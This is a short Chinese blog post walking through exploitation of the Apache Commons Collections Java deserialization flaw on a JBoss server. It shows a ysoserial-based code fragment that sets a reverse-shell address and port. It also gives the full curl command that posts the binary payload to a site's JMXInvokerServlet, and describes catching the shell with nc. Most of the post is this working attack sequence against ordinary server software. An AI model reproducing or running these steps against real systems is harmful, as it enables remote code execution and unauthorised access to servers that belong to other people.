前不久爆出的Java反序列化命令执行漏洞,一直没有进行测试。最近遇到个Jboss的站点,就抽空测试学习了一下利用的方法,过程中遇到很多坑啊,请教了很多小伙伴,非常感谢紫霞仙子大师傅的指点。
随风师傅的博客上有具体的漏洞原理分析:
http://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/
利用给出的POC,先进行payload的生成,使用eclipse就可以搞定,需要导入外部的ysoserial.jar这个JAR包,如图:
POC代码中可以修改反弹SHELL的外网IP地址和端口,代码段:
public static void main(final String[] args) throws Exception { final Object objBefore = CommonsCollections1.class.newInstance() .getObject("10.18.180.34:8080");
生成二进制的payload之后,使用curl命令提交请求,具体命令如下:
curl --header "Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue" --data-binary "@payloads.bin" http://www.nxadmin.com/invoker/JMXInvokerServlet
payloads.bin文件就是生成的二进制payload,curl之后在自己的服务器用nc监听就可以获取到反弹的shell了。如图:
成功获取到反弹的shell,如图: